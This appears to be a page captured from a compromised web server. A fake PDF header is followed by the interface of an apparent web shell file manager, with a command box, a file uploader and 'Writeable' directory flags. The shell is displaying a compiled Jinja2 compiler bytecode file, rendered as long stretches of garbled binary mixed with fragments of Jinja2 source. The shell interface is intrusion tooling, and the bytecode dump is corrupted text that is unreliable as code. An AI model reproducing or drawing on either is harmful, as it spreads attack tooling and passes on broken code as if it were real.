%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/jinja2/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/jinja2/__pycache__/compiler.cpython-39.pyc
a

�_gO�
@srdZddlZddlmZddlmZddlmZddl	m
Z
ddlmZ
ddlmZdd	lmZd
dlmZd
dlmZd
d
lmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlm Z d
dl!m"Z"ej#�rddl$Z%d
dl&m'Z'ej(dej)dej*fd�Z+dddddd d!d"d#�Z,e+e+d$�d%d&�Z-e.ej)d'ej/d(gdfd)�d*d+�Z0e.ej)d'ej1d(gdfd)�d,d-�Z2dFej3d0ej4e.ej4e.ej4ej5e6e6ej4e.d1�d2d3�Z7ej*e6d4�d5d6�Z8ej9ej:ej9e.ej;e.d7�d8d9�Z<Gd:d;�d;�Z=Gd<d(�d(�Z>Gd=d>�d>e?�Z@Gd?d@�d@e"�ZAGdAdB�dBe"�ZBGdCdD�dDeC�ZDGdEd'�d'e"�ZEdS)Gz0Compiles nodes from the parser into Python code.�N)�contextmanager)�update_wrapper)�StringIO)�chain)�	iskeyword)�escape)�Markup�)�nodes)�TemplateAssertionError)�Symbols)�VAR_LOAD_ALIAS)�VAR_LOAD_PARAMETER)�VAR_LOAD_RESOLVE)�VAR_LOAD_UNDEFINED)�EvalContext)�	Optimizer)�_PassArg)�concat)�NodeVisitor)�Environment�F.)�boundz==z!=�>z>=�<z<=�inznot in)�eq�ne�gtZgteq�ltZlteqr�notin)�f�returncs2dtjdtjtjd��fdd�}tt�t|���S)N�
CodeGenerator�Frame)�self�node�frame�kwargsr"csJ|jdur6|jjs6|j�||j�}||kr6|�||�S�|||fi|��S�N)�	optimizer�eval_ctx�volatile�visit)r%r&r'r(�new_node�r!��</vddos/python/lib/python3.9/site-packages/jinja2/compiler.py�new_func.s
zoptimizeconst.<locals>.new_func)r
�Expr�t�Anyr�castr)r!r2r0r/r1�
optimizeconst-s�r7r#r$)�opr"cs"tdtjtdd��fdd��}|S)Nr#�r%r&r'r"cs�|jjrN�|jjvrN|�d��d��|�|j|�|�d�|�|j|�n8|�d�|�|j|�|�d��d��|�|j|�|�d�dS)Nz environment.call_binop(context, �, �(� �))�environment�	sandboxedZintercepted_binops�writer-�left�right�r%r&r'�r8r0r1�visitor>s�
�

z_make_binop.<locals>.visitor)r7r
�BinExprr$�r8rEr0rDr1�_make_binop=srHcs"tdtjtdd��fdd��}|S)Nr#r9cs`|jjr6�|jjvr6|�d��d��|�|j|�n|�d��|�|j|�|�d�dS)Nzenvironment.call_unop(context, r:r;r=)r>r?Zintercepted_unopsr@r-r&rCrDr0r1rEUs�
�z_make_unop.<locals>.visitor)r7r
�	UnaryExprr$rGr0rDr1�
_make_unopRsrJFTr)r&r>�name�filename�stream�
defer_init�	optimizedr"cCsHt|tj�std��|�||||||�}|�|�|durD|j��SdS)z+Generate the python source for a node tree.z Can't compile non template nodesN)�
isinstancer
�Template�	TypeErrorZcode_generator_classr-rM�getvalue)r&r>rKrLrMrNrO�	generatorr0r0r1�generatees
�

rU��valuer"cCs�|dus|tus|turdSt|�ttttttt	hvr:dSt|�t
ttt
hvr`tdd�|D��St|�tur�tdd�|��D��SdS)z)Does the node have a safe representation?NTcss|]}t|�VqdSr)��
has_safe_repr)�.0�vr0r0r1�	<genexpr>��z has_safe_repr.<locals>.<genexpr>css"|]\}}t|�ot|�VqdSr)rX�rZ�kr[r0r0r1r\�r]F)�NotImplemented�Ellipsis�type�bool�int�float�complex�range�strr�tuple�list�set�	frozenset�all�dict�items�rWr0r0r1rY}srY)r
�namesr"cCs:t|�}z|D]}|�|�qWnty2Yn0|jS)z�Check if the names passed are accessed undeclared.  The return value
    is a set of all the undeclared names from the sequence of names found.
    )�UndeclaredNameVisitorr-�VisitorExit�
undeclared)r
rqrEr&r0r0r1�find_undeclared�sruc@s*eZdZejejejfdd�dd�ZdS)�MacroRefN�r&r"cCs||_d|_d|_d|_dS�NF)r&�accesses_caller�accesses_kwargs�accesses_varargs�r%r&r0r0r1�__init__�szMacroRef.__init__)	�__name__�
__module__�__qualname__r4�Unionr
�Macro�	CallBlockr}r0r0r0r1rv�srvc@sdeZdZdZdeejdejedd�dd�Zdd�dd�Z	de
dd
�dd�Zdd�d
d�Ze	Z
dS)r$z&Holds compile time information for us.N)r+�parent�levelr"cCs~||_||_|dur4t|d�|_d|_d|_d|_n(t|j|d�|_|j|_|j|_|j|_d|_d|_d|_	d|_
d|_dS)N�r�F)r+r�r�symbols�require_output_check�buffer�block�toplevel�	rootlevel�
loop_frame�block_frame�
soft_frame)r%r+r�r�r0r0r1r}�s zFrame.__init__�r"cCs*t�|j�}|j�|j�|j��|_|S)z!Create a copy of the current one.)�object�__new__�	__class__�__dict__�updater��copy�r%�rvr0r0r1r��sz
Frame.copyF)�isolatedr"cCs&|rt|j|jjdd�St|j|�S)zReturn an inner frame.r	r�)r$r+r�r�)r%r�r0r0r1�inner�szFrame.innercCs|��}d|_d|_|S)a&Return a soft frame.  A soft frame may not be modified as
        standalone thing as it shares the resources with the frame it
        was created of, but it's not a rootlevel frame any longer.

        This is only used to implement if-statements and conditional
        expressions.
        FT)r�r�r�r�r0r0r1�soft�sz
Frame.soft)NN)F)r~rr��__doc__rr4�Optionalrdr}r�rcr�r��__copy__r0r0r0r1r$�s��3
c@seZdZdZdS)rsz?Exception used by the `UndeclaredNameVisitor` to signal a stop.N�r~rr�r�r0r0r0r1rs�srsc@sTeZdZdZdd�dd�Zejdd�dd�Zejdd�d	d
�Z	ej
dd�dd�ZdS)
�DependencyFinderVisitorz.A visitor that collects filter and test calls.Nr�cCst�|_t�|_dSr))rk�filters�tests�r%r0r0r1r}�sz DependencyFinderVisitor.__init__rwcCs|�|�|j�|j�dSr))�
generic_visitr��addrKr|r0r0r1�visit_Filters
z$DependencyFinderVisitor.visit_FiltercCs|�|�|j�|j�dSr))r�r�r�rKr|r0r0r1�
visit_Tests
z"DependencyFinderVisitor.visit_TestcCsdS)zStop visiting at blocks.Nr0r|r0r0r1�visit_Blocksz#DependencyFinderVisitor.visit_Block)r~rr�r�r}r
�Filterr��Testr��Blockr�r0r0r0r1r��s
r�c@sJeZdZdZejedd�dd�Zej	dd�dd�Z
ejdd�d	d
�ZdS)rrz�A visitor that checks if a name is accessed without being
    declared.  This is different from the frame visitor as it will
    not stop at closure frames.
    N)rqr"cCst|�|_t�|_dSr))rkrqrt)r%rqr0r0r1r}s
zUndeclaredNameVisitor.__init__rwcCsJ|jdkr8|j|jvr8|j�|j�|j|jkrFt��n|j�|j�dS)N�load)�ctxrKrqrtr�rs�discardr|r0r0r1�
visit_Names
z UndeclaredNameVisitor.visit_NamecCsdS)zStop visiting a blocks.Nr0r|r0r0r1r�!sz!UndeclaredNameVisitor.visit_Block)
r~rr�r�r4�Iterablerhr}r
�Namer�r�r�r0r0r0r1rrsrrc@seZdZdZdS)�CompilerExitz�Raised if the compiler encountered a situation where it just
    doesn't make sense to further process the code.  Any block that
    raises such an exception is not further processed.
    Nr�r0r0r0r1r�%sr�c	@sJeZdZUd�dejeejeejejeedd�dd�Ze	ed�d	d
��Z
eedd�d
d�Zed�dd�Z
edd�dd�Zd�eedd�dd�Zdd�dd�Zd�edd�dd�Zd�eejejdd�dd�Zedd�d d!�Zd�eeejejdd"�d#d$�Zejejedd%�d&d'�Zedd(�d)d*�Zd�eejejedd,�d-d.�Zd�ejejedd/�d0d1�Zd�ejejejej feejej!eej"fdd2�d3d4�Z#ejejdd5�d6d7�Z$edd�d8d9�Z%d�eedd:�d;d<�Z&d�eeed?�d@dA�Z'eedB�dCdD�Z(ejej)ej*feej+ee,fdE�dFdG�Z-e,eddH�dIdJ�Z.ejedK�dLdM�Z/eed�dNdO�Z0dd�dPdQ�Z1edd�dRdS�Z2dd�dTdU�Z3eddV�dWdX�Z4eddV�dYdZ�Z5dd�d[d\�Z6ed�d]d^�Z7ed�d_d`�Z8eed�dadb�Z9eedV�dcdd�Z:dd�dedf�Z;edd�dgdh�Z<d�ej=ejeddE�didj�Z>ej?eddE�dkdl�Z@ejAeddE�dmdn�ZBejCeddE�dodp�ZDejejEejFfeddE�dqdr�ZGejEeddE�dsdt�ZHejFeddE�dudv�ZIejJeddE�dwdx�ZKejLeddE�dydz�ZMej)eddE�d{d|�ZNej*eddE�d}d~�ZOejPeddE�dd��ZQejReddE�d�d��ZSejTeddE�d�d��ZUGd�d��d�ejV�ZWeXej"ej"d��d�d���ZYdZZejeWe[d�<eWd�d�d��Z\ejej"ed��d�d��Z]ej^eeWed��d�d��Z_ej^eeWdd��d�d��Z`ej^eeWdd��d�d��ZaejbeddE�d�d��ZcejdeddE�d�d��ZeejfeddE�d�d��ZgejheddE�d�d��ZiejjeddE�d�d��ZkejleddE�d�d��ZmejneddE�d�d��Zoej+eddE�d�d��ZpejqeddE�d�d��ZrejseddE�d�d��Zteud��Zveud��Zweud��Zxeud��Zyeud��Zzeud��Z{eud��Z|eud��Z}eud��Z~ed��Z�ed��Z�ed��Z�e�ej�eddE�d�d���Z�e�ej�eddE�d�d���Z�ej�eddE�d�d��Z�e�ej�eddE�d�d���Z�e�ej�eddE�d�d���Z�ej�eddE�d�d��Z�e�ejejej feeej�dd��d�dÄ�Z�e�ejeddE�d�dń�Z�e�ej eddE�d�dDŽ�Z�e�ej�eddE�d�dɄ�Z�e�d�ejeeddʜd�d̄�Z�ej�eddE�d�d΄Z�ej�eddE�d�dЄZ�ej�eddE�d�d҄Z�ej�eddE�d�dԄZ�ej�eddE�d�dքZ�ej�eddE�d�d؄Z�ej�eddE�d�dڄZ�ej�eddE�d�d܄Z�ej�eddE�d�dބZ�ej�eddE�d�d�Z�ej�eddE�d�d�Z�ej�eddE�d�d�Z�ej�eddE�d�d�Z�ej�eddE�d�d�Z�ej�eddE�d�d�Z�dS)�r#NFTr)r>rKrLrMrNrOr"cCs�|durt�}||_||_||_||_d|_||_d|_|rFt|�|_i|_	i|_
d|_d|_d|_
i|_i|_g|_d|_d|_d|_d|_d|_d|_g|_g|_dg|_dS)NFrr	T�context)rr>rKrLrMZcreated_block_contextrNr*r�import_aliases�blocks�extends_so_far�has_known_extends�code_linenor�r��
debug_info�_write_debug_info�
_new_lines�
_last_line�_first_write�_last_identifier�_indentation�
_assign_stack�_param_def_block�_context_reference_stack)r%r>rKrLrMrNrOr0r0r1r}-s8	
zCodeGenerator.__init__r�cCs
|jduSr))r*r�r0r0r1rOvszCodeGenerator.optimizedzte.NoReturn)�msg�linenor"cCst|||j|j��dS)z*Fail with a :exc:`TemplateAssertionError`.N)rrKrL)r%r�r�r0r0r1�fail|szCodeGenerator.failcCs|jd7_d|j��S)zGet a new unique identifier.r	Zt_)r�r�r0r0r1�temporary_identifier�sz"CodeGenerator.temporary_identifier)r'r"cCs |��|_|�|j�d��dS)z7Enable buffering for the frame from that point onwards.z = []N)r�r��	writeline�r%r'r0r0r1r��s
zCodeGenerator.buffer)r'�force_unescapedr"cCs�|s�|jjrl|�d�|��|�d|j�d��|��|�d�|��|�d|j�d��|��dS|jjr�|�d|j�d��dS|�d|j�d��dS)z(Return the buffer contents of the frame.zif context.eval_ctx.autoescape:zreturn Markup(concat(�))�else:zreturn concat(r=N)r+r,r��indentr��outdent�
autoescape)r%r'r�r0r0r1�return_buffer_contents�s

z$CodeGenerator.return_buffer_contentscCs|jd7_dS)zIndent by one.r	N�r�r�r0r0r1r��szCodeGenerator.indentr	)�stepr"cCs|j|8_dS)zOutdent by step.Nr�)r%r�r0r0r1r��szCodeGenerator.outdent)r'r&r"cCs0|jdur|�d|�n|�|j�d�|�dS)z%Yield or write into the frame buffer.N�yield �.append()r�r�)r%r'r&r0r0r1�start_write�s
zCodeGenerator.start_writecCs|jdur|�d�dS)z1End the writing process started by `start_write`.Nr=)r�r@r�r0r0r1�	end_write�s
zCodeGenerator.end_write)�sr'r&r"cCs$|�||�|�|�|�|�dS)z4Simple shortcut for start_write + write + end_write.N)r�r@r�)r%r�r'r&r0r0r1�simple_write�s
zCodeGenerator.simple_write)r
r'r"cCs<z$|�d�|D]}|�||�qWnty6Yn0dS)z�Visit a list of nodes as block in a frame.  If the current frame
        is no buffer a dummy ``if 0: yield None`` is written automatically.
        �passN)r�r-r�)r%r
r'r&r0r0r1�
blockvisit�s
zCodeGenerator.blockvisit)�xr"cCs�|jrp|jsR|j�d|j�|j|j7_|jdurR|j�|j|jf�d|_d|_|j�d|j�d|_|j�|�dS)z&Write a string into the output stream.�
NFz    r)	r�r�rMr@r�r�r��appendr�)r%r�r0r0r1r@�s
zCodeGenerator.writer)r�r&�extrar"cCs|�||�|�|�dS)z!Combination of newline and write.N)�newliner@)r%r�r&r�r0r0r1r��szCodeGenerator.writeline)r&r�r"cCs:t|jd|�|_|dur6|j|jkr6|j|_|j|_dS)z/Add one or more newlines before the next write.r	N)�maxr�r�r�r�)r%r&r�r0r0r1r��szCodeGenerator.newline)r&r'�extra_kwargsr"c	Cs�tdd�tdd�|jD�|pd�D��}|jD]}|�d�|�||�q.|s�|jD]}|�d�|�||�qT|dur�|��D]\}}|�d|�d|���q�|jr�|�d�|�|j|�|�r�|jdur�|�d	�n
|�d
�|jD].}|�|j	�d��|�|j
|�|�d�q�|du�rN|��D] \}}|�|�d|�d���q,|jdu�r~|�d�|�|j|�|�d
�n
|�d�n$|jdu�r�|�d�|�|j|�dS)a+Writes a function call to the stream for the current node.
        A leading comma is added automatically.  The extra keyword
        arguments may not include python keywords otherwise a syntax
        error could occur.  The extra keyword arguments should be given
        as python dict.
        css|]}tt�t|��VqdSr))�is_python_keywordr4r6rh)rZr_r0r0r1r\�s�z*CodeGenerator.signature.<locals>.<genexpr>css|]}|jVqdSr))�key�rZr�r0r0r1r\�r]r0r:N�=z, *z
, **dict({z, **{�: z}, **r=�}z, **)�anyrr(�argsr@r-roZdyn_argsZ
dyn_kwargsr�rW)	r%r&r'r�Zkwarg_workaround�arg�kwargr�rWr0r0r1�	signature�sF�










zCodeGenerator.signature)r
r"c
Cst�}|D]}|�|�q
|j|jdf|j|jdffD]�\}}}t|�D]�}||vr`|��||<|�d�|��|�||�d|�d|�d��|��|�d�|��|�d�|�d	||�d
��|��|�d|dd
��d|�d��|��|��qHq6dS)a�Find all filter and test names used in the template and
        assign them to variables in the compiled namespace. Checking
        that the names are registered with the environment is done when
        compiling the Filter and Test nodes. If the node is in an If or
        CondExpr node, the check is done at runtime instead.

        .. versionchanged:: 3.0
            Filters and tests in If and CondExpr nodes are checked at
            runtime instead of compile time.
        r�r��try:z = environment.�[�]zexcept KeyError:z
@internalcode�def z
(*unused):zraise TemplateRuntimeError("No N���� named z	 found."))	r�r-r�r��sortedr�r�r�r�)r%r
rEr&Zid_maprq�
dependencyrKr0r0r1�pull_dependenciess8��
 

��zCodeGenerator.pull_dependenciesc	Cs�g}|jj��D]z\}\}}|tkr&q|tkrP|�|�d|���d|�d��q|tkrn|�|�d|���q|tkr�|�	|�qt
d��q|r�|�d�|��d��dS)N� = r;r=zunknown load instruction�
 = missing)r��loadsrorrr��get_resolve_funcr
rr��NotImplementedError�join)r%r'�undefs�target�action�paramr0r0r1�enter_frameHs"
zCodeGenerator.enter_frame)r'�with_python_scoper"cCs>|s:g}|jjD]}|�|�q|r:|�d�|��d��dS)Nr�r�)r�r�r�r�r�)r%r'rr�r�r0r0r1�leave_frameXszCodeGenerator.leave_frame�async �)�async_value�
sync_valuer"cCs|jjr|S|Sr))r>�is_async)r%rrr0r0r1�choose_async`szCodeGenerator.choose_async)rKr"cCs|���d|��S)Nr�)r)r%rKr0r0r1�funccszCodeGenerator.func)r&r'r"cCs�|��}|j�|�t|�}d}t�}g}t|j�D]@\}}|jdkrJ|}|jdvr`|�|j�|�	|j�
|j��q4t|jd�}	d|	vr�|dur�z|j
|t|j�Wq�ty�|�d|j�Yq�0n|�	|j�d��d|_d|	v�rd|v�r|�	|j�d��d|_d|	v�r>d|v�r>|�	|j�d��d|_d	|_|j�|�|�|�d
��dd�|��d
�|�|��|�|�|�|�|�|�t|j�D]�\}}|j�
|j�}
|�d|
�d��|��z|j
|t|j�}Wn4t�y |�|
�d|j�d|j�d��Yn0|�|
�d��|�||�|�|
�|� ��q�|�!�|�"|j|�|j#|dd�|j$|dd�|� �||fS)z/Dump the function def of a macro or call block.N�caller)r(�varargs)r	r(r
zhWhen defining macros or call blocks the special "caller" argument must be omitted or be given a default.Tr(r
F�macror;r:�):�if � is missing:z = undefined("parameter z was not provided", name=r=r�)r��r)%r�r��analyze_nodervrk�	enumerater�rKr�r��refru�body�defaults�len�
IndexErrorr�r��declare_parameterryrzr{r�r�rr�r�r�r��push_parameter_definitionsr-�mark_parameter_storedr��pop_parameter_definitionsr�r�r)r%r&r'�	macro_refZexplicit_callerZskip_special_paramsr��idxr�rtr�defaultr0r0r1�
macro_bodyfsv

�$


��

zCodeGenerator.macro_body)rr'r"c
Csrd�dd�|jjD��}t|jdd�}t|jj�dkr>|d7}|�d|�d	|�d
|j�d|j�d|j�d��dS)z<Dump the macro definition for the def created by macro_body.r:css|]}t|j�VqdSr))�reprrKr�r0r0r1r\�r]z*CodeGenerator.macro_def.<locals>.<genexpr>rKNr	�,zMacro(environment, macro, z, (z), z, context.eval_ctx.autoescape))	r�r&r��getattrrr@rzr{ry)r%rr'Z	arg_tuplerKr0r0r1�	macro_def�s����zCodeGenerator.macro_defrwcCs*d|j��}|jdur&|�d|j��}|S)z.Return a human readable position for the node.zline N� in )r�rK)r%r&r�r0r0r1�position�s
zCodeGenerator.positioncCs*d�dd�|j����D��}d|�d�S)Nr:css |]\}}|�d|��VqdS�r�Nr0)rZrKr�r0r0r1r\�s�z3CodeGenerator.dump_local_context.<locals>.<genexpr>�{r�)r�r�Zdump_storesro)r%r'Zitems_kvr0r0r1�dump_local_context�s
�z CodeGenerator.dump_local_contextcCs6|�d�|�d�|�d�|�d�|�d�dS)z�Writes a common preamble that is used by root and block functions.
        Primarily this sets up common local helpers and enforces a generator
        through a dead branch.
        z$resolve = context.resolve_or_missingz!undefined = environment.undefinedzconcat = environment.concatzcond_expr_undefined = Undefinedzif 0: yield NoneN�r�r�r0r0r1�
write_commons�s




zCodeGenerator.write_commonscCs|j�|j���dS)aQPushes all parameter targets from the given frame into a local
        stack that permits tracking of yet to be assigned parameters.  In
        particular this enables the optimization from `visit_Name` to skip
        undefined expressions for parameters in macros as macros can reference
        otherwise unbound parameters.
        N)r�r�r�Zdump_param_targetsr�r0r0r1r�sz(CodeGenerator.push_parameter_definitionscCs|j��dS)z+Pops the current parameter definitions set.N)r��popr�r0r0r1r�sz'CodeGenerator.pop_parameter_definitions)r�r"cCs|jr|jd�|�dS)z�Marks a parameter in the current parameter definitions as stored.
        This will skip the enforced undefined checks.
        r�N)r�r��r%r�r0r0r1r�sz#CodeGenerator.mark_parameter_storedcCs|j�|�dSr))r�r�r+r0r0r1�push_context_reference�sz$CodeGenerator.push_context_referencecCs|j��dSr))r�r*r�r0r0r1�pop_context_reference�sz#CodeGenerator.pop_context_referencecCs
|jdS)Nr��r�r�r0r0r1�get_context_ref�szCodeGenerator.get_context_refcCs |jd}|dkrdS|�d�S)Nr�r��resolvez.resolver.r+r0r0r1r��s
zCodeGenerator.get_resolve_funccCs|���d|�|��d�S)Nz	.derived(r=)r/r'r�r0r0r1�derive_contextszCodeGenerator.derive_contextcCs|js
dS||jdvS)z4Checks if a given target is an undeclared parameter.Fr�)r�r+r0r0r1�parameter_is_undeclaredsz%CodeGenerator.parameter_is_undeclaredcCs|j�t��dS)z+Pushes a new layer for assignment tracking.N)r�r�rkr�r0r0r1�push_assign_trackingsz"CodeGenerator.push_assign_trackingcCs�|j��}|js|js|jr |s$dSdd�|D�}t|�dkr�tt|��}|j�	|�}|jrv|�
d|�d|���dS|jr�|�
d|�d|���dS|�
d|�d|���nx|jr�|�
d	�n|jr�|�
d
�n
|�
d�t|�D]6\}}|r�|�d�|j�	|�}|�|�d
|���q�|�d�|j�s�|j�s�|�r�t|�dk�rb|�
d|d�d��n"d�
tt|��}|�
d|�d��dS)zoPops the topmost level for assignment tracking and updates the
        context variables if necessary.
        NcSs g|]}|dd�dkr|�qS)Nr	�_r0r�r0r0r1�
<listcomp>r]z5CodeGenerator.pop_assign_tracking.<locals>.<listcomp>r	z_loop_vars[�] = z_block_vars[�
context.vars[z_loop_vars.update({z_block_vars.update({�context.vars.update({r:r��})�context.exported_vars.add(rr=zcontext.exported_vars.update((r�)r�r*r�r�r�r�next�iterr�rr�rr@r��mapr)r%r'�varsZpublic_namesrKrr�	names_strr0r0r1�pop_assign_trackingsJ
����


z!CodeGenerator.pop_assign_trackingc	Cs|dusJd��t|j|j�}ddlm}ddlm}|jjrLt||�}nt|�}|�dd�	|��|j
rrdnd}|�tj
�du}|�tj�D]4}	|	j|jvr�|�d	|	j�d
�|	j�|	|j|	j<q�|�tj�D]v}
|
j|jvr�|
j}|��|j|<}d|v�r4|�dd�\}
}|�d|
�d
|�d|���q�|�d|�d|���q�|�d|j���|j|�d��d|�d�dd�|��|��t|�}dt|jd�v�r�|j�d�}|�|�d��|j� |�d|_!|_"|�o�|j#|_$|�r�|�d�|�%|�|�&|j�|�'|j|�|j(|dd�|�)�|�r�|j#�sV|��|�d�|��|jj�st|�d�n$|�d�|��|�d�|�)�|�)d|j#�|j�*�D�]\}}	|�|�d|��d|�d�|	d�|��|��t|�}d|_+t|	jd �}d|v�r2|j�d�}|�|�d��d!|v�rd|j�d!�}|�|�d"|�d#|�d$��|j� |	�||_,|�d%�|�%|�|�&|	j�|�'|	j|�|j(|dd�|�)��q�d�	d&d'�|jD��}|jd(|�d)�dd�d*�	d+d'�|j-D��}|�d,|���dS)-Nzno root frame allowedr	)�async_exported)�exportedzfrom jinja2.runtime import r:rz, environment=environmentzblock z defined twice�.zfrom z import z as zimport zname = �rootz(context, missing=missingr)r�r%r�z = TemplateReference(context)Tzparent_template = Noner�if parent_template is not None:z4yield from parent_template.root_render_func(context)z=async for event in parent_template.root_render_func(context):zyield eventZblock_)r%�superrFz = context.super(z, block_r=z_block_vars = {}css|]}|�d|��VqdS)z: block_Nr0r�r0r0r1r\�r]z/CodeGenerator.visit_Template.<locals>.<genexpr>z
blocks = {r��&css |]\}}|�d|��VqdS)r�Nr0r^r0r0r1r\�r]z
debug_info = ).rr>rK�runtimerArBrr�r�r�rN�findr
�Extends�find_allr�r�r�r��ImportedName�
importnamer�r��rsplitrr�r)r$rurr�rrr�r�r�r�r�r�r�rr�ror�r�r�)r%r&r'r+rArBZexported_namesZenvenvZhave_extendsr��import_�imp�alias�module�objrrKr�rtZ
blocks_kv_strZdebug_kv_strr0r0r1�visit_Template=s�
�



�
�



zCodeGenerator.visit_TemplatecCsd}|jr8|jrdS|jdkr8|�d�|��|d7}|jrJ|�|�}n|��}|jr�|�d|j	�d�|�|��|�d|j	�d�|�|�
�|jjs�|j
dur�|�d	|j	�d
|�d�|�n@|�|���d|j	�d
|�d
�|�|��|�d|�|�
�|�
|�dS)z.Call a block and register it for the template.rN�if parent_template is None:r	zif len(context.blocks[z]) <= 1:z+raise TemplateRuntimeError("Required block z not found")zyield from context.blocks[z][0](r=zfor event in context.blocks[r�event)r�r�r�r�r��scopedr1r/�requiredrKr�r>rr�rr�)r%r&r'r�r�r0r0r1r��sF

��
���zCodeGenerator.visit_BlockcCs�|js|�d|j�|jdkrV|js6|�d�|��|�d�|jrNt��n|��|�d|�|�	|j
|�|�d|j�d��|�d�|��|�d	�|��|j
r�d
|_|jd7_dS)
zCalls the extender.z,cannot use extend from a non top-level scoperrEz5raise TemplateRuntimeError("extended multiple times")z+parent_template = environment.get_template(r:r=z9for name, parent_block in parent_template.blocks.items():z8context.blocks.setdefault(name, []).append(parent_block)Tr	N)r�r�r�r�r�r�r�r�r�r-�templater@rKr�rCr0r0r1�
visit_Extends�s(




zCodeGenerator.visit_ExtendscCsp|jr|�d�|��d}t|jtj�rVt|jjt�r>d}qnt|jjt	t
f�rnd}nt|jtjtjf�rnd}|�d|�d�|�|�
|j|�|�d|j�d��|jr�|��|�d	�|��|�d
�|��|�d�|��d}|j�r|�|���d
|�|��d��n$|jj�r,|�d�n|�d�d}|�s\|��|�d|�|��|j�rl|��dS)zHandles includes.r�Zget_or_select_templateZget_templateZselect_templateztemplate = environment.r;r:r=zexcept TemplateNotFound:r�r�FzUfor event in template.root_render_func(template.new_context(context.get_all(), True, z)):zGfor event in (await template._get_default_module_async())._body_stream:z6yield from template._get_default_module()._body_streamTrVN)Zignore_missingr�r�rPrYr
�ConstrWrhrirj�Tuple�Listr-r@rKr��with_contextrr'r>rr�)r%r&r'�	func_nameZskip_event_yieldr0r0r1�
visit_Include	sR




��
�
zCodeGenerator.visit_IncludecCs�|�|�d��d��|�|j|�|�d|j�d��|jrld|�d���}|�|�d|�|��d��n|�d	|�d��d
��dS)N�await zenvironment.get_template(r:z).Zmake_moduleZ_asyncz(context.get_all(), True, r=Z_get_default_modulez	(context))r@rr-rYrKr^r')r%r&r'�f_namer0r0r1�_import_common<s�zCodeGenerator._import_commoncCsl|�|j�|j��d�|�|jr6|�d|j�d��|�||�|jrh|j�d�sh|�d|j�d��dS)zVisit regular imports.r�r7r6r4�context.exported_vars.discard(r=N)r�r�rr�r�r@rc�
startswithrCr0r0r1�visit_ImportKszCodeGenerator.visit_Importc
	s�|�|�|�d�|�|��g}g}|jD]�}t|t�rF|\}}n|}|��j�|��d|�d��|�d�j�|��d��|�	�d|�
|��d|��}|��j�|��d|�d	|�d
��|���jr.|�
|�|�d�s.|�
|�q.|�rXt|�dk�r.|d
}|�d|�d�j�|����n*d��fdd�|D��}|�d|�d��|�r�t|�dk�r�|�d|d
�d
��n"d�tt|��}	|�d|	�d��dS)zVisit named imports.zincluded_template = z = getattr(included_template, z
, missing)r
rz9the template {included_template.__name__!r} (imported on z%) does not export the requested name z = undefined(fz, name=r=r4r	rr7r6r:c3s$|]}|�d�j�|���VqdSr%)r�r)rZrK�r'r0r1r\{sz1CodeGenerator.visit_FromImport.<locals>.<genexpr>r8r9rdz)context.exported_vars.difference_update((r�N)r�r@rcrqrPrir�r�rr�r$r�r�r�rerr�r=r)
r%r&r'Z	var_namesZdiscarded_namesrKrQ�messageZnames_kvr?r0rgr1�visit_FromImportVsZ




������

 �
�zCodeGenerator.visit_FromImportcCs�|��}d|_|��}|��}|jpRdt|jdd�d�vpRtdd�|�tj�D��}d}|rh|j	�
d�}|j	j|dd	�|jr�|j	j|d
d	�|j
�r�|��}|j	j|dd	�|�|�|��d�|j
�|��|�|�|�|�d
d��|�|j|�|�d�|�|�dd��|�d�|��|�d|j
�|�|j
|�|�d�|��|�d�|�|j|�|�d�|j|dd�|j�r�|�|�d��d�|�|��|�|�|j|_|�r�|�|�d��|�tj�D],}	|	jdk�r�|	jdk�r�|�d|	j��q�|j�r0|��}
|�|
�d��|�|�d
d�|�|�|j|�|�rx|�d|�d|�d��d��n
|�d�|j
�r�|�|�d��|j�r�|�d �nB|jj �r�|�s�|�d!�|�|j!|�|jj �r�|�s�|�d"�|j
�r|�d"�|j�r|�d#�n|�|�r$d$nd�|��|�|�|�d%�|�"|j#|�|j�rl|�|
�d&��|��|j||j�o�|jd�|j�r�|�d|
�d��|��|�|�|�"|j|�|�|�|��|j�r`|�$|�|��|�%||�|�|�d'��d(��|jj �r*|�d!�|�|j!|�|jj �rL|�d"�|�d)�|�&|�|j'�r||j'd*�(|j	j)�dS)+NT�loop)r)�only)rjcss|]}|jVqdSr))rW)rZr�r0r0r1r\�r]z*CodeGenerator.visit_For.<locals>.<genexpr>r)Z
for_branch�else�testz(fiter):z
async for zfor r#zauto_aiter(fiter)Zfiter�:r
r��rz%(reciter, loop_render_func, depth=0):r��storez8Can't assign to special loop variable in for-loop targetz = 1r:ZAsynczLoopContext(r;Zreciterzauto_aiter(r=z&, undefined, loop_render_func, depth):z
, undefined):z_loop_vars = {}z = 0razloop(z, loop)r�)*r�r��	recursiveru�iter_child_nodesr�rKr
r�r�rr�else_rmr�r�rr�r�rr-r�r@r�rr�r�r�rKr�r�r>rr<r�rr�r�r�r��difference_updateZstores)r%r&r'r�Z
test_frameZ
else_frameZ
extended_loopZloop_refZloop_filter_funcrKZiteration_indicatorr0r0r1�	visit_For�s����





�
� 





�








zCodeGenerator.visit_ForcCs�|��}|�d|�|�|j|�|�d�|��|�|j|�|��|j	D]F}|�d|�|�|j|�|�d�|��|�|j|�|��qP|j
r�|�d�|��|�|j
|�|��dS)Nr
rnzelif r�)r�r�r-rmr@r�r�rr��elif_rs)r%r&r'Zif_framervr0r0r1�visit_Ifs&




zCodeGenerator.visit_IfcCs||�||�\}}|��|jrR|j�d�s>|�d|j�d��|�d|j�d��|�|j�|j��d��|�	||�dS)Nr4r:r=r7r6r�)
